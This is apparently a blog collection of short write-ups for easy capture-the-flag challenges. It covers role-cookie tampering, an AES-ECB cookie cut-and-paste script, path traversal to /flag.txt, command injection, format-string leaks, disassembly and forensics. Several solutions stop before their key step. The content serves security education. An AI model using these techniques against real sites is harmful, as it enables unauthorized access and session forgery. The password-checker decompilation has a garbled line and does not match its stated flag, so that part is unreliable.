Endolumctfs on gk.wtf

Endolum CTF - broken-access-control

Sun, 01 Feb 2026 00:00:00 +0000

Difficulty: easy

Category: web

Author: xnull

Description:

### Employee Portal

You found an employee portal for a company. Regular users can register and access their dashboard, but there's an admin panel that contains sensitive information.

Your goal is to access the admin panel at `/admin` and retrieve the flag.

Solution

We can just change the role cookie to admin after registration:

Endolum CTF - buffer-overflow-intro

Sun, 01 Feb 2026 00:00:00 +0000

Difficulty: easy

Category: pwn

Author: xnull

Description:

### Buffer Overflow Introduction

This program asks for a password. There's a variable called is_admin that needs to equal 0xdeadbeef to get the flag.

The program uses gets(), which is vulnerable to buffer overflow.

**Access:** Connect to the binary with `ncat --ssl [host] [port]` or use pwntools.

The web interface provides educational content and downloadable source code.

Scenario

We can enter a password:

Endolum CTF - caesar-cipher

Sun, 01 Feb 2026 00:00:00 +0000

Difficulty: easy

Category: crypto

Author: xnull

Description:

### Intercepted Message

We intercepted an encrypted message that uses a Caesar cipher (also known as a shift cipher).

In this cipher, each letter is shifted by a fixed number of positions in the alphabet.

Solution

We are presented with the string RAQYZ{pnrfne_jnf_abg_irel_frpher_9s2n}. We can simply transform this with chepy:

>>> from chepy import Chepy
>>> Chepy("RAQYZ{pnrfne_jnf_abg_irel_frpher_9s2n}").rot_13().o
b'ENDLM{caesar_was_not_very_secure_9f2a}'

Flag: ENDLM{caesar_was_not_very_secure_9f2a}

Endolum CTF - command-injection

Sun, 01 Feb 2026 00:00:00 +0000

Difficulty: easy

Category: web

Author: xnull

Description:

### Network Diagnostic Tool

This web tool lets you ping any server to check if it's reachable. The tool runs the ping command on the server and shows you the output.

The flag is stored in `/flag.txt` on the server.

Solution

We can just get the flag with simple command injection in the ping functionality:

Endolum CTF - disassembly-intro

Sun, 01 Feb 2026 00:00:00 +0000

Difficulty: easy

Category: rev

Author: xnull

Description:

### Flag Checker

This program builds a flag internally and checks if your input matches it.

You can see how the flag is constructed by looking at the program's code.

Solution

We just open up the program in our favorite disassembler and look at the main function:

int64_t main()

{
    char var_48;
    __builtin_strncpy(&var_48,
        "ENDLM{d1s4ss3mbly_1s_fun_8c4b}", 0x1f);
    _IO_puts("=== Flag Checker ===");
    _IO_puts("This program has a flag built in…");
    _IO_printf("Enter the flag: ", 0);
    char var_b8[0x70];

    if (!_IO_fgets(&var_b8, 0x64, stdin))
        return 1;

    var_b8[j_strcspn(&var_b8, &data_488058)] = 0;

    if (j_strcmp(&var_b8, &var_48, &var_48))
    {
        _IO_puts("Wrong!");
        _IO_puts("Hint: Look at how the flag is co…");
    }
    else
        _IO_printf("\nCorrect! The flag is: %s\n", 0);

    return 0;
}

Flag: ENDLM{d1s4ss3mbly_1s_fun_8c4b}

Endolum CTF - ecb-mode-detection

Sun, 01 Feb 2026 00:00:00 +0000

Difficulty: easy

Category: crypto

Author: xnull

Description:

### Encrypted Session System

This web application stores your session data in an encrypted cookie. When you visit the site, you get a cookie that marks you as a regular user.

Only users with admin privileges can see the flag. The cookie is encrypted using AES encryption, but the implementation might have a weakness you can exploit.

**Goal:** Modify your encrypted session cookie to gain admin access and retrieve the flag.

Solution

import requests
from pwn import *
from rich import print
import re

URL = "https://a5b24fe0-4a84-462c-ad75-23f71647a996.ctf.endolum.io:1337"


def get_cookie(st):
    """
    get cookie from page
    """
    return requests.post(f"{URL}/register", data={"username": st}).json()["profile"]


def splits(s):
    """
    split into strings of 16 bytes
    """
    a = b64d(s)
    parts = [a[x : x + 16] for x in range(0, len(a), 16)]
    return parts


def pad(s):
    """
    fake ecb padding
    """
    todo = 16 - len(s)
    return s + "\x0b" * todo


c = get_cookie(
        # user=
        "aaaaaaaaaaa" +  # (=16)
        # starts at a new block, pads the entire 16 bytes, so admin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b
        pad("admin") +
        # dummy end, leaves us with [bbbbbbbbbbroole=] and [user]
        "bbbbbbbbbb")
success(f"Got cookie: {c}")

parts = splits(c)
# parts[0]: user=aaaaaaaaaaa
# parts[2]: bbbbbbbbbbroole=
# parts[1]: admin
payload = b64e(parts[0] + parts[2] + parts[1])
success(f"Exploit payload: {b64e(parts[0] + parts[2] + parts[1])}")

solution = requests.get(URL+"/profile", cookies={"session": payload}).text
flag = re.search('<div class="flag">(.*)</div>', solution).group(1)
success(f"Got flag: {flag}")

# Output:
# [+] Got cookie: K6rUmoCQ75fiXWC4/F6KEFzYtEUHsKACRE/ZOHEf73RjXRVK1M9rZF7ThQRaUFf1ZATR/+z0i5hMIb1RFfoYvw==
# [+] Exploit payload: K6rUmoCQ75fiXWC4/F6KEGNdFUrUz2tkXtOFBFpQV/Vc2LRFB7CgAkRP2ThxH+90
# [+] Got flag: ENDLM{977e0ca98c4a5d9da30f60ad2227e68fcc07f53de436fb30}

Flag: ENDLM{977e0ca98c4a5d9da30f60ad2227e68fcc07f53de436fb30}

Endolum CTF - file-signature-analysis

Sun, 01 Feb 2026 00:00:00 +0000

Difficulty: easy

Category: forensics

Author: xnull

Description:

### Suspicious File

We recovered a file from a compromised system. It has a .txt extension, but something seems off about it.

Download the file and determine its real type to view the contents.

Solution

Based on the header of the file, we can see it’s a PNG file:

�PNG

���

We can just look at it and get the flag.

Endolum CTF - format-string-basics

Sun, 01 Feb 2026 00:00:00 +0000

Difficulty: easy

Category: pwn

Author: xnull

Description:

### Format String Vulnerability

This program echoes back whatever you type. The flag is stored in memory on the stack.

Can you leak it using a format string vulnerability?

**Access:** Connect to the binary with `ncat --ssl [host] [port]` or use pwntools.

The web interface provides educational content and downloadable source code.

Solution

The service accepts format string arguments, we can just spam some %s and get the flag:

Endolum CTF - hash-length-extension

Sun, 01 Feb 2026 00:00:00 +0000

Difficulty: easy

Category: crypto

Author: xnull

Description:

### Signed API

This API uses MD5 signatures to authenticate requests. You have a valid signature for "user=guest", but you need admin access.

The signature is created as MD5(secret + data), where the secret is unknown to you.

**Hint:** The server expects data as a hex string. It does `bytes.fromhex(data)` to decode it. Don't convert the hex to bytes and URL encode, just send the hex directly.

Scenario

We got a signed URL at https://<UUID>.ctf.endolum.io:1337/api?data=user=guest&signature=191c15a2b6652068b0fb37f084f4fb98 and we need to get user=admin in the data parameter in order to get the flag.

Endolum CTF - integer-overflow

Sun, 01 Feb 2026 00:00:00 +0000

Difficulty: easy

Category: pwn

Author: xnull

Description:

### Integer Overflow Shop

This shop sells flags for 1000 coins each. You only have 500 coins in your wallet.

Can you exploit an integer overflow to buy the flag anyway?

**Access:** Connect to the binary with `ncat --ssl [host] [port]` or use pwntools.

Solution

We can use the max. signed 64-bit integer divided by the cost (9223372036854775807 / 1000) to buy the flag and get an overflow in the cost:

Endolum CTF - metadata-extraction

Sun, 01 Feb 2026 00:00:00 +0000

Difficulty: easy

Category: forensics

Author: xnull

Description:

### Vacation Photo

Someone sent you a vacation photo with a hidden message. The image looks normal, but there's more to it than meets the eye.

Find the secret message hidden in the file.

Solution

The flag is stored in EXIF data; this data is plaintext anyways, so instead of (as intended) running exiftool, we can just pipe it into strings:

Endolum CTF - password-checker

Sun, 01 Feb 2026 00:00:00 +0000

Difficulty: easy

Category: rev

Author: xnull

Description:

### Secure Password Vault

This program asks for a password. If you enter the correct password, it grants you access.

Figure out what password the program expects by looking at its code.

Solution

Again, when using a disassembler (here r2ghidra), we can see the flag:

ulong sym.check_password(char *arg1)

{
    int64_t iVar1;
    ulong uVar2;
    ulong var_8h;

    iVar1 = fcn.004010c8(arg1);
    if (iVar1 == 0x26) {
        if (*arg1 == 'E') {
            if (arg1[1] == 'N') {
                if (arg1[2] == 'D') {
                    if (arg1[3] == 'L') {
                        if (arg1[4] == 'M') {
                            if (arg1[5] == '{') {
                                if (arg1[6] == 'p') {
                                    if (arg1[7] == '4') {
                                        if (arg1[8] == 's') {
                                            if (arg1[9] == 's') {
                                                if (arg1[10] == 'w') {
                                                    if (arg1[0xb] == '0') {
                                                        if (arg1[0xc] == 'r') {
                                                            if (arg1[0xd] == 'd') {
                                                                if (arg1[0xe] == '_') {
                                                                    if (arg1[0xf] == 'c') {
                                                                        if (arg1[0x10] == 'h') {
                                                                            if (arg1[0x11] == '3') {
                                                                                if (arg1[0x12] == 'c') {
                                                                                    if (arg1[0x13] == 'k') {
                                                                                        if (arg1[0x14] == '1') {
                                                                                            if (arg1[0x15] == 'n') {
                                                                                                if (arg1[0x16] == 'g') {
                                                                                                    if (arg1[0x17] '_') {
                                                                                                        if (arg1[0x18] == '7') {
                                                                                                            if (arg1[0x19] == 'f') {
                                                                                                                    if (arg1[0x1a] == '3') {
                                                                                                                        if (arg1[0x1b] == 'a') {
                                                                                                                            if (arg1[0x1c] == '}') {
                                                                                                                                ...

Flag: ENDLM{p4ssw0rd_ch3ck1ng7f3a}

Endolum CTF - path-traversal

Sun, 01 Feb 2026 00:00:00 +0000

Difficulty: easy

Category: web

Author: xnull

Description:

### Documentation Viewer

This application lets you view company documentation files. The docs are stored in a specific directory on the server.

The flag is stored in `/flag.txt` on the server filesystem.

Solution

The challenge is self-explanatory, we can just visit https://<uuid>.ctf.endolum.io:1337/view?file=../../../flag.txt to get the flag.

Flag: ENDLM{7ea9f56e787cc6b31244d6038ab98960247223b440318873}

Endolum CTF - pcap-analysis

Sun, 01 Feb 2026 00:00:00 +0000

Difficulty: easy

Category: forensics

Author: xnull

Description:

### Network Traffic Capture

We captured network traffic from a user logging into a website. The credentials were sent over unencrypted HTTP.

Analyze the packet capture and extract the password.

Solution

We can use tshark to dump the HTTP traffic by following the stream:

# tshark -r capture.pcap -z follow,http,ascii,0
    1   0.000000 192.168.1.100 → 192.168.1.1  TCP 54 80 0 54321 → 80 [SYN] Seq=0 Win=8192 Len=0
    2   0.000322  192.168.1.1 → 192.168.1.100 TCP 54 54321 0 80 → 54321 [SYN, ACK] Seq=0 Ack=1 Win=8192 Len=0
    3   0.000526 192.168.1.100 → 192.168.1.1  TCP 54 80 0 54321 → 80 [ACK] Seq=1 Ack=1 Win=8192 Len=0
    4   0.000725 192.168.1.100 → 192.168.1.1  HTTP 218 80 0 POST /login HTTP/1.1  (application/x-www-form-urlencoded)
    5   0.001045  192.168.1.1 → 192.168.1.100 HTTP 147 54321 0 HTTP/1.1 200 OK  (text/html)
    6   0.001364 192.168.1.50 → 8.8.8.8      DNS 70   Standard query 0x0000 A google.com
    7   0.001842 192.168.1.50 → 8.8.8.8      DNS 72   Standard query 0x0000 A facebook.com
    8   0.002237 192.168.1.50 → 8.8.8.8      DNS 70   Standard query 0x0000 A reddit.com
    9   0.002632 192.168.1.50 → 8.8.8.8      DNS 77   Standard query 0x0000 A stackoverflow.com
   10   0.003015 42:48:65:b0:3f:d2 → fe:f8:80:d8:60:26 ARP 42   Who has 192.168.1.1? Tell 192.168.1.100
   11   0.003201 42:48:65:b0:3f:d2 → fe:f8:80:d8:60:26 ARP 42   192.168.1.1 is at 00:11:22:33:44:55
   12   0.003383 192.168.1.75 → 8.8.8.8      ICMP 42   Echo (ping) request  id=0x0000, seq=0/0, ttl=64
   13   0.003756      8.8.8.8 → 192.168.1.75 ICMP 42   Echo (ping) reply    id=0x0000, seq=0/0, ttl=64 (request in 12)
   14   0.004018 192.168.1.100 → 142.250.185.46 TCP 54 443 1 54322 → 443 [SYN] Seq=0 Win=8192 Len=0
   15   0.004205 142.250.185.46 → 192.168.1.100 TCP 54 54322 1 443 → 54322 [SYN, ACK] Seq=0 Ack=1 Win=8192 Len=0
   16   0.004405 192.168.1.100 → 142.250.185.46 TCP 54 443 1 54322 → 443 [ACK] Seq=1 Ack=1 Win=8192 Len=0
   17   0.004590 192.168.1.100 → 192.168.1.2  HTTP 125 80 2 GET / HTTP/1.1
   18   0.004915 192.168.1.100 → 192.168.1.10 TCP 54 22 3 54324 → 22 [SYN] Seq=0 Win=8192 Len=0
   19   0.005101 192.168.1.10 → 192.168.1.100 TCP 54 54324 3 22 → 54324 [SYN, ACK] Seq=0 Ack=1 Win=8192 Len=0

===================================================================
Follow: http,ascii
Filter: tcp.stream eq 0
Node 0: 192.168.1.100:54321
Node 1: 192.168.1.1:80
112
POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 52


52
username=admin&password=ENDLM{p4ck3ts_d0nt_l13_7c8a}
	64
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 28


	28
<html>Login successful</html
===================================================================

Flag: ENDLM{p4ck3ts_d0nt_l13_7c8a}

Endolum CTF - sql-injection-basics

Sun, 01 Feb 2026 00:00:00 +0000

Difficulty: easy

Category: web

Author: xnull

Description:

### Company Database Login

You discovered a login page for a company database system. The credentials are unknown, but you need to gain access to retrieve sensitive information.

Find a way to bypass the authentication and log in.

Solution

On the login page, we use the following credentials to get a login as admin:

Endolum CTF - steganography-basics

Sun, 01 Feb 2026 00:00:00 +0000

Difficulty: easy

Category: forensics

Author: xnull

Description:

### Hidden Message in Image

Someone sent you a cute cat picture, but they claim there's a secret message hidden inside it.

The image looks completely normal. Can you find what's hidden?

Solution

After downloading the image, we can run zsteg on it:

$ zsteg cat.png
b1,r,lsb,xy         .. text: "ENDLM{h1dd3n_1n_pl41n_s1ght_8a7c}"
b1,rgb,msb,xy       .. file: OpenPGP Public Key
b4,r,lsb,xy         .. file: AIX core file 64-bit, \001

Flag: ENDLM{h1dd3n_1n_pl41n_s1ght_8a7c}

Endolum CTF - string-analysis

Sun, 01 Feb 2026 00:00:00 +0000

Difficulty: easy

Category: rev

Author: xnull

Description:

### Secret Vault

Someone wrote a program to protect a secret code, but they might not have done a great job hiding it.

Download the program and see if you can find the secret without even running it.

Solution

strings ./program | grep ENDLM

Flag: ENDLM{strings_are_not_so_secret_after_all_9a4f}

Endolum CTF - use-after-free-intro

Sun, 01 Feb 2026 00:00:00 +0000

Difficulty: easy

Category: pwn

Author: xnull

Description:

### Use After Free Bug

This program manages users. There is a use after free vulnerability that allows you to escalate privileges.

Can you trigger the bug to call the admin function and get the flag?

**Access:** Connect to the binary with `ncat --ssl [host] [port]` or use pwntools.

Scenario:

===== User Management System =====
1. Create user
2. Delete user
3. Create admin
4. Use user
5. Exit
Choice:

Solution

We do the following steps:

Endolum CTF - weak-random

Sun, 01 Feb 2026 00:00:00 +0000

Difficulty: easy

Category: crypto

Author: xnull

Description:

### Secure Token System

This authentication system generates a random token for access. The token is different each time you load the page.

Can you predict what token the system will generate?

Scenario

We need to supply a 6-digit code and get the timestamp used for a seed.

Solution

If we’re fast enough, we can just reuse the previous timestamp:

Endolum CTF - xor-cipher

Sun, 01 Feb 2026 00:00:00 +0000

Difficulty: easy

Category: rev

Author: xnull

Description:

### XOR Password Checker

This program checks a password that has been encrypted with XOR. Download the binary and figure out what the password is.

You'll need to find the XOR key and decrypt the password.

Solution

We’ll extract the XOR key from the binary using our disassembler:

004a4040  encrypted_flag:
004a4040  07 0c 06 0e 0f 39 3a 72 30 1d 73 31 1d 30 71 34 71 30 31 73 20 2e 71 1d 21 73 32 2a 71 30 1d 24  .....9:r0.s1.0q4q01s .q.!s2*q0.$
004a4060  76 23 70 3f                                                                                      v#p?

Then, we can just brute-force it: